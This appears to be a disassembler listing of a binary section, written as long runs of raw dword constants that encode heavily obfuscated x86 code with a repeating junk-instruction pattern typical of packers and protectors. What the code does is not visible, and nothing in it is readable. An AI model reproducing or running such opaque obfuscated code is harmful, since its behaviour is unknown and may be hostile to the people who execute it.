		dd 1Ah,	0A8C35747h, 0C1B9D08Dh,	4EB70EBh, 0
		dd 3399BD31h, 6A06ACh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0B7E5F7C3h, 60BE31ABh, 81665477h
		dd 8D137ACFh, 0AC274185h, 14E906h, 90120000h, 0B65A61CDh
		dd 720C0CC6h, 3A99378Ah, 343C93EBh, 8950DDD2h, 7E92404h
		dd 45000000h, 72B2DFB6h, 0BF667020h, 6A0371h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0CFC35040h, 0F14EA70Ch
		dd 8B52B41Dh, 0AC3475B5h, 6A5F06h, 0C9DD858Dh, 6A06AFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0C9DCEC3h, 6A05C083h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0B28C357h, 2B9B7106h
		dd 0AC3091BDh, 60509006h, 8B585760h, 8B6661D7h,	6A9061C7h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0DEF4C356h, 89431738h, 11BD2370h,	6A06AC1Ch
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 8C43ECF4h, 0E9BD0905h, 6A06AC34h, 1D958900h
		dd 0FF06AC0Bh, 0AC0AF995h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0ABE7A0BDh
		dd 75697D81h, 8B809D8Dh, 0F98B06AFh, 6AD3FFh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 559372C3h
		dd 19D01B4h, 0FF06AC0Ah, 0AC337585h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 723E925h, 0E80000h
		dd 5D000000h, 0C9E7ED81h, 0BF0F06AFh, 9DBD81F7h, 0D006AC1Ch
		dd 0F000007h, 15E86h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0F8ED4B76h, 0FF99D8Bh
		dd 81F906ACh, 100E3h, 0BFA8B00h, 0BC850FDBh, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 650DC357h, 0CE816624h, 0BD236E0Ch, 6AC0689h
		dd 0C81CBD83h, 0F0006AFh, 4F84h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 89578F9Ah
		dd 0AC126985h, 94E906h,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 3DB2C0C3h, 0BD8B69E3h
		dd 6AC2765h, 0C81C85C7h, 106AFh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0DC24C4C3h
		dd 22188F95h, 3DE9h, 0BF665600h, 0C75F353Fh, 0AFC81C85h
		dd 6, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 0F4346E2Ch, 0B58B76BCh, 6AC0739h
		dd 28519D89h, 9D8D06ACh, 6AC0FF9h, 0C0EF8166h, 518D8949h
		dd 8106AC0Bh, 0FFFEFF23h, 12E8FFh, 0B59C0000h, 6CE8597Ch
		dd 0F1658805h, 90901FEAh, 3BB04BFBh, 1DE9BD8Bh,	665E06ACh
		dd 6ADB8Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 973798C3h, 0C3F6E819h, 73840F04h,	8B000000h
		dd 0AC3139B5h, 3595FF06h, 6A06AC01h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 72BEC355h
		dd 6090F98Bh, 2850Fh, 0C58A0000h, 7E860h, 1FE80000h, 0B44FF08Eh
		dd 61615AB6h, 2810F50h,	8B000000h, 6A90F0h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 89441BC3h
		dd 352D9D89h, 0D3E906ACh, 8B000003h, 0AC0A1DBDh, 6A00B006h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 3530C350h, 0B059531h, 70BF06ACh, 0E672FA60h
		dd 56006A70h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0F4976CD2h, 860F1971h, 3, 0E4F18B66h, 0F7C68171h
		dd 0F4FB83Bh, 0B58BD8B6h, 6AC2929h, 1D259589h, 6BA06ACh
		dd 8B000000h, 56006AC3h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 686EB86Dh, 977ABC58h, 4E8C1A2h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2EC35343h, 49ACF3A8h
		dd 0FE2F766h, 118Dh, 6E800h, 7D860000h,	3149CD88h, 51F78166h
		dd 1605ED6h, 0AC0A8995h, 459D8B06h, 6106AC1Ah, 8B66D82Bh
		dd 0F38B50F2h, 8B241C89h, 9DB5FFF9h, 6A06AC1Ch,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0BC5CC352h, 0B7EA599Eh, 2B15B3C6h, 214595FFh, 6A06ACh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 62B2CC3h, 254E891h, 1AC19589h, 0BD8B06ACh, 6AC2671h
		dd 0DE9h, 0AD053B00h, 0D0D02EB8h, 0A9751202h, 0B0F056h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0A6C35040h
		dd 8C0F4DD8h, 6, 5059509h, 8B0F06ACh, 6, 0B5DB589h, 70E606ACh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0F5C35545h
		dd 8E779A70h, 808F0D98h, 613C71E4h, 204830Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0F6E12C3h, 6BAD8B6h,	0E8000000h, 6, 0F2A1FAA9h, 8B60BFFCh
		dd 0AC0A399Dh, 615F5106h, 66C38B5Fh, 0C1FC23BEh, 6A04E8h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 772834C3h, 0E9E2F766h, 9, 8FA2ED6Fh,	1D756E6Fh, 0E9D82B50h
		dd 10h,	0DAE3D8ECh, 0A4687AFFh,	84D49063h, 97C5AB4Bh, 6840Fh
		dd 0B58B0000h, 6AC3515h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 2B6232A5h, 47880FD8h
		dd 0F000001h, 688h, 0A5BD8B00h,	0B906AC26h, 7, 85B58B56h
		dd 5F06AC26h, 0E900C183h, 0Ah, 0CE8F1B8Dh, 306EB0F8h, 0D93B4B12h
		dd 114860Fh, 8D890000h,	6AC015Dh, 0E9D98C66h, 13h, 100D2B09h
		dd 5129596Fh, 0D6B31920h, 0F0B6ECD9h, 0F6005007h, 840F04C1h
		dd 0E2h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0ABC35646h, 314FB320h, 0A0BC7E9Ah, 5E8h, 6224A200h
		dd 0B5317DB8h, 6AC14BDh, 458D895Eh, 0FF06AC27h,	0AC013595h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 72EE8489h, 0EC72C644h, 9589EE01h, 6AC14E1h
		dd 50006A5Bh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 8FD90B31h, 6AC32B9Ch, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 3170C355h
		dd 0AC32C98Dh, 59BD2B06h
		db 2Eh,	0ACh
word_584F4E	dw 3D06h		; DATA XREF: ___:00436EFCo
		dd 834h, 20860Fh, 810F0000h, 8,	830F51h, 5E000000h, 15E9h
		dd 8A0FF800h, 6, 27458D31h, 0C08B06ACh,	30ED8D01h, 0C38B06ACh
		dd 85C7D88Bh, 6AC24A1h,	1BC549B7h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0D3C35040h,	5D297DC1h, 0AE8h
		dd 670FC100h, 75F19633h, 5F41FBD6h, 6AC08Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 2D8D5FC3h
		dd 9DBD813Eh, 0D006AC1Ch, 0F000007h, 5585h, 3DB52300h
		dd 8B06AC27h, 0AC3141BDh, 9D85FF06h, 6A06AC1Ch,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 5347C357h, 67F15823h, 8BEEBDF5h, 0AC33E9BDh,	14E906h
		dd 87FA0000h, 41550EC8h, 545263DEh, 0E728448Ch,	0E528C2A3h
		dd 0B5FF1502h, 6AC1C9Dh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 19h, 0E4C35040h, 3B5A04FFh, 0D9B5037Fh, 0FF06AC0Fh
		dd 0AC214595h, 0DBD3306h, 9006AC2Eh, 345678B8h,	0C98D8912h
		dd 8D06AC34h, 0AFD0D49Dh, 0F8F8E906h, 8E8FFFFh,	52000000h
		dd 70C56A64h, 17A964Ah,	0AC1315BDh, 880F5E06h, 1, 89C18BFCh
		dd 0AC10A195h, 4EB06h, 0E9000000h, 0Ch,	74B007Fh, 2D21B105h
		dd 0FADAF46Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0B0C35242h, 27DAFBD1h, 0EE84Fh,	5D540000h, 130EDE52h
		dd 4FCA3D83h, 9438156Eh, 0EA9C69BEh, 858D5F76h,	6AC2741h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0E5C35545h
		dd 53441502h, 0BD8BAE0Eh, 6AC09B9h, 5E9h, 99345900h, 8950FE89h
		dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0E9BCB9C3h, 13h, 0D4263002h, 1BFED542h, 25400106h
		dd 14ECB710h, 6A6D1A1Fh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 2EA4293h, 0B0B5C834h
		dd 0BE661AE5h, 6A0D4Ah,	269DB58Bh, 858D06ACh, 6AFD2B0h
		dd 8905C083h, 0AC140585h, 8B535006h, 4895FF0h, 6870F24h
		dd 8B000000h, 0AC0EB9B5h, 6A006A06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 65F0C357h
		dd 6AAA66A9h, 0FFF88B00h, 0AC0AF995h, 43BE5206h, 5F63EB40h
		dd 0DDB58B57h, 5E06AC31h, 8B809D8Dh, 12E806AFh,	98000000h
		dd 0A0228DF2h, 0E99C91D2h, 1E5DE860h, 226970FAh, 0FF5FF9E4h
		dd 0E5BD8BD3h, 0FF06AC31h, 0AC337585h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 6634E7A3h, 8DE4C681h, 0F4DE9h, 0E800h, 815D0000h, 0AFD2BAEDh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0D7CA1510h, 0BD81FB8Bh, 6AC1C9Dh, 7D0h
		dd 1CA860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 47783DC3h, 0E19FEA71h, 8B092D86h
		dd 0AC33659Dh, 50006A06h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 43471AB9h, 37186A79h
		dd 100E381h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0D67061C3h, 11369C88h, 389128Eh
		dd 0AC21F1B5h, 0FDB0B06h, 0A485h, 0BD83F800h, 6AFD10Fh
		dd 52840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 912BC352h, 4AE749DBh
		dd 0CA926073h, 0E9F6BF0Fh, 0A8h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0FFC35646h,	5A3E387Fh, 30B5485Dh
		dd 0F85C733h, 106AFD1h,	0E9000000h, 74h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 15h, 0D9C35040h, 13E915h
		dd 0B9D10000h, 0ED057B10h, 116D8F10h, 29B0C9DBh, 0B559B3CAh
		dd 0F85C717h, 6AFD1h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 5047C352h, 929D6CC0h
		dd 0B35BD8Bh, 9E906ACh,	71000000h, 892E23E9h, 0E0A447B5h
		dd 33659D8Dh, 6A06ACh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0CC081FC3h, 4CB2C681h, 14E8291Fh
		dd 0F6000000h, 51F82598h, 774AD3C1h, 0C6966EBEh, 6FC62B6Ch
		dd 89B1C1BFh, 0AC2E359Dh, 23815E06h, 0FFFFFEFFh, 7C2BE66h
		dd 7E9h, 0B37DD300h, 3609B3FAh,	6ADB8C66h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0A9B1C356h
		dd 0E1BB654Ah, 9589AD4Ah, 6AC2469h, 12F99589h, 0C3F606ACh
		dd 9A840F04h, 60000000h, 26BD9D89h, 0BF0F06ACh,	95FF61F2h
		dd 6AC0135h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	0F8C35545h, 0ADE73268h,	0BD41592h, 14E8h, 5B5E4700h
		dd 0DF58D10Fh, 163113E4h, 5437DFE1h, 59DEF793h,	8B605FAAh
		dd 616060DFh, 68DF8166h, 906161ECh, 50F98B66h, 5E8h, 3859E00h
		dd 5250BF5Eh, 0F98B310Fh, 905F585Ah, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0ADC35646h,	89F160E8h, 0AC1E0D95h
		dd 3E1E906h, 0AE90000h,	3E000000h, 7DA442FDh, 0EE6CDB6Eh
		dd 8900B02Ah, 0AC0C49B5h, 6A70E606h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0EC7FC353h
		dd 44034B1Ch, 7060E131h, 0FFABF0Fh, 71E4FFBFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 93C35343h, 0F46CC9DFh
		dd 2F639DBFh, 0D1BD893Bh, 0F06AC01h, 360D8B6h, 0AC31F985h
		dd 0BA61FC06h, 6, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0FFC35242h, 0BE01CFE5h,	69D98546h, 6AC38Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 665C61C3h, 9E1EE681h, 0F04E8C1h, 68Eh, 59BD8B00h, 6606AC19h
		dd 8166E2F7h, 894A1CCFh, 0AC303585h, 8BD82B06h,	0AC3021B5h
		dd 8B669306h, 8B6050F3h, 6A9361D0h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 5ED1C356h
		dd 0B58BF73Dh, 6AC2EF5h, 1C9DB5FFh, 6A06ACh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 9D8E2C3h
		dd 4F53F3FDh, 0BEB5EE51h, 68FD8287h, 214595FFh,	0CE806ACh
		dd 0A4000000h, 83D94750h, 0C2EF7C03h, 0F4F3C7Ch, 68Fh
		dd 3D9D8900h, 5F06AC30h, 27ADBD8Bh, 0B006ACh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0EFC35545h, 0BE96012h
		dd 4D000000h, 8B01D306h, 9EC3F75Eh, 70E67696h, 1850Fh
		dd 0E4F90000h, 56006A71h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0D5EEB148h, 0B70F88F2h
		dd 72CF81FFh, 311A96A9h, 0AC27C19Dh, 0F613C06h,	1F683h
		dd 0D8B60F00h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0C5C35040h, 4FE78166h
		dd 6BA9Ch, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 5D8986C3h, 26B7CA75h, 68C0FB1h
		dd 29000000h, 0AC0E9D9Dh, 6AC38B06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 65EEC351h
		dd 3591FD87h, 0CE8F1B8Dh, 4E8C1F9h, 2539BD31h, 0F76606ACh
		dd 0B9BE66E2h, 6AD82BD2h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0C648C357h,	0F0B70F3Eh
		dd 0CAD9589h, 0E85806ACh, 0Ah, 0F3F16C74h, 0A59A0E27h
		dd 2360A094h, 0AC050985h, 810F06h, 61000000h, 0FD82B5Eh
		dd 11688h, 75858900h, 0B906AC2Eh, 7, 7E9h, 48E8C500h, 5AF950D6h
		dd 3B00C183h, 0F4860FD9h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 17B1C355h
		dd 89F7B70Fh, 0AC131185h, 0D98C6606h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 74C35747h, 0F04C1F6h, 7B84h
		dd 3DBD8B00h, 0FF06AC2Bh, 0AC013595h, 840F06h, 5B000000h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 58C35141h
		dd 14963CD5h, 2B0E2389h, 0F18B66C3h, 0B1DBD8Bh,	343D06ACh
		dd 0F000008h, 2F86h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 7528F235h, 0CF8166B7h
		dd 30E97418h, 0BF000000h, 583DF6A4h, 6AC08Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 5BFF01C3h
		dd 743141FEh, 79B58BA8h, 8B06AC10h, 66D88BC3h, 85C7FE8Bh
		dd 6AC0FF9h, 1B593B9Dh,	0EE9C08Bh, 17000000h, 87DD507Ah
		dd 8F293FA5h, 3EFD426Ch, 9DBD81C5h, 0D006AC1Ch,	0F000007h
		dd 3A85h, 0FDB58900h, 6606AC21h, 0FFA105BFh, 0AC1C9D85h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0A05AC353h, 4F04FABFh, 9DBD8B05h, 0FF06AC2Eh
		dd 0AC1C9DB5h, 0E1BD2B06h, 0FF06AC0Ah, 0AC214595h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 124CD3E3h, 904AF22Fh, 1E899589h, 830F06ACh, 6, 316DB58Bh
		dd 409006ACh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 17h,	0A3C35545h, 6692A510h, 0BD83F18Bh, 6AC017Dh, 0FB840F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0B25EC355h, 68F0F7Bh, 8B000000h
		dd 0AC0561BDh, 0F5BD8306h, 6AC32h, 0C4840Fh, 0CCBE0000h
		dd 0FF0D90BBh, 0AC017D95h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 8895D7B4h
		dd 6FF23215h, 0FC00B2Bh, 8D84h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 338D8D5Fh
		dd 6606AC4Eh, 1E16CE81h, 5B8F9h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0CE67A4C3h
		dd 0E7BA6760h, 2B3D9529h, 0E1FF06ACh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0ABC35646h,	42E6437Eh, 778FBABFh
		dd 6840Fh, 8D290000h, 6AC1269h,	25DD9509h, 0BD8306ACh
		dd 6AC21EDh, 6E840F00h,	6A000006h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 6525C351h
		dd 7BA878Ch, 67415C5Ah,	303DBD8Bh, 0BD8306ACh, 6AC32F5h
		dd 36840F00h, 0F9000006h, 12C98D8Dh, 6A06ACh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0BC55CBC3h
		dd 0C74290C1h, 0B27C8401h, 53006A44h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 970E9A21h
		dd 81103F16h, 99CFCB01h, 56006A14h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 441C7F0h, 0CE706B34h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0CFC35646h
		dd 1B449DD6h, 0EE90524h, 35000000h, 1D61C655h, 5EDC9724h
		dd 457ED5C2h, 441815Ah,	31D6D710h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 0F2C35747h,	0FFE8BCCh, 58Fh
		dd 0D6816600h, 6AD266h,	0C9858DF5h, 6A06AC12h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0B4BBC351h, 9EB5F692h, 0E9245990h, 10h, 8D8CABC4h, 61211D0Ch
		dd 49258B26h, 21397359h, 13E95650h, 0E000000h, 9EE75DB3h
		dd 52152892h, 66EF60C6h, 4A2A6800h, 895E15B8h, 0BD8B2404h
		dd 6AC20A1h, 21ED95FFh,	6A06ACh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 391F49C3h, 3DE5A535h
		dd 8B16544Ch, 0AC11C1BDh, 0DDBD8B06h, 8D06AC26h, 0AC12C98Dh
		dd 39BE6606h, 1C770h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0FD2AC356h,	0CA4B8516h
		dd 84546A8Dh, 8E6AEBBEh, 441C775h, 0
		dd 0C00BF78Bh, 5D840Fh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0AA8684C3h, 0E36C1E77h
		dd 8D18154Eh, 0AC4E338Dh, 8B665206h, 5B85FF2h, 89000000h
		dd 0AC2E4995h, 6AE1FF06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 14E2C353h, 8DF1BF0Fh
		dd 0AC12C98Dh, 0F28B6606h, 727C01C7h, 6A44AAh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0A9D51FC3h, 0E8FB6C76h, 7, 89617AFEh, 5FC6FF96h, 48E0Fh
		dd 0BF660000h, 1811848h, 1499CFCBh, 95895151h, 6AC317Dh
		dd 41C75E5Fh, 78753C04h, 52006ACEh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 3EFF7E2Fh, 4181F5D7h
		dd 0D6D71004h, 0BF0F6031h, 0CFBF0FF8h, 60006A61h, 0FE8h
		dd 5B924300h, 0A49D403h, 0DE608FEDh, 9FDAF4Ch, 895E5952h
		dd 0AC098195h, 858D6106h, 6AC12C9h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 0B5C35646h,	0C1BD2347h, 5006AC2Fh
		dd 489F28Bh, 0C75FBF24h, 95FF07B7h, 6AC21EDh, 8DF1BF0Fh
		dd 0AC12C98Dh, 53006A06h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0CF0B2F61h, 8BAC46D7h
		dd 0AC2549B5h, 1C706h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0F5D5C351h
		dd 501008A3h, 9C9BD2Bh,	41C706ACh, 4, 68F0F00h,	89000000h
		dd 0AC17818Dh, 0FC00B06h, 0AA84h, 338D8D00h, 6A06AC4Eh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 975FC350h, 7555DA71h, 0E7CD6652h,	0E21B589h
		dd 5B806ACh, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 58ADC352h, 0AEE30CCBh
		dd 2E065E78h, 252DB58Bh, 0AE806ACh, 0A6000000h,	4C5968A5h
		dd 0B99F32B0h, 0BD8B5066h, 6AC1399h, 0E1FF5E5Eh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0F6C35040h, 6129093Ch
		dd 8BA0E49Eh, 0AC2E91BDh, 49DE8106h, 8D5F3B79h,	0AC12C98Dh
		dd 12E906h, 0DDA60000h,	0FB34338Dh, 373BB1Fh, 0A96A20ECh
		dd 5DB4D9Dh, 206DB533h,	1C706ACh, 54CA95A5h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 7FC35040h, 92BBA041h
		dd 2831BD8Bh, 18106ACh,	1499CFCBh, 6890Fh, 0BD8B0000h
		dd 6AC0715h, 690441C7h,	6ACE5F59h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0F8B8C350h
		dd 0B684916Ah, 0BF661678h, 0F601F4Dh, 683h, 830F00h, 89000000h
		dd 0AC337D9Dh, 41816106h, 0D6D71004h, 51006A31h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
		dd 0C9B509ADh, 6606AC2Dh, 6A18C2BFh, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 14CF3280h
		dd 0DEFB95F0h, 880F0D75h, 4, 5CA1BE66h,	12C9858Dh, 665006ACh
		dd 489F88Bh, 55B58B24h,	0FF06AC06h, 0AC21ED95h,	0F28B6606h
		dd 9C5CA0BFh, 0C98D8D5Fh, 6A06AC12h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 1CD7C353h
		dd 0FB7FB844h, 9A727CB8h, 0CBDF8166h, 1C77Ch, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0FBF6C350h, 62BD21A1h, 0C7249A97h, 441h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 99EA43C3h, 0BFE8B66h, 5A840FC0h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0A618C350h, 23B9BD8Bh, 8D8D06ACh,	6AC4E33h
		dd 21BD8B60h, 6106AC0Bh, 5B8h, 0B5BD8900h, 0FF06AC19h
		dd 57006AE1h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0E9CA033Dh, 0FFFFF0D9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0C6C35545h,	0F68166E7h, 0BF660B02h
		dd 0C18B9602h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0FBC35646h, 7CEA7C90h, 85B58B84h, 8B06AC26h, 0AC0219BDh
		dd 4EB06h, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0D9DCC353h, 0EC2771FAh, 0A9958964h
		dd 8106AC1Bh, 246BDDCFh, 3595892Dh, 0F06AC09h, 68Ch, 0FDBD8B00h
		dd 8D06AC11h, 0AC274185h, 8DBD3106h, 5006AC25h,	10E9h
		dd 0E944FB00h, 0E156C18h, 4E315B18h, 0ACF4A49Bh, 24048958h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 14C35343h
		dd 0A7F9B793h, 19F9B58Bh, 6A06ACh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 71C35242h, 892E23E9h, 10DDBD89h
		dd 6A06ACh, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Bh,	0AC35141h, 4267785Dh, 0FF7D776h, 858DF8BFh, 6AFE475h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0EAC35646h
		dd 0E960047Dh, 0Fh, 0AD213184h,	32F4825Ch, 133489Bh, 83E930EBh
		dd 666005C0h, 0BD29C38Bh, 6AC34E9h, 28BF5061h, 895DE8F6h
		dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 239F48C3h, 0AC07C1B5h, 6800F06h, 8B000000h
		dd 0AC2111BDh, 6A006A06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0B811C353h,	9B42EA02h
		dd 6A469CB8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0D5F975E2h, 1A83FA23h, 0F995FF49h
		dd 6A06AC0Ah, 3E85600h,	20000000h, 895EC35Eh, 81042474h
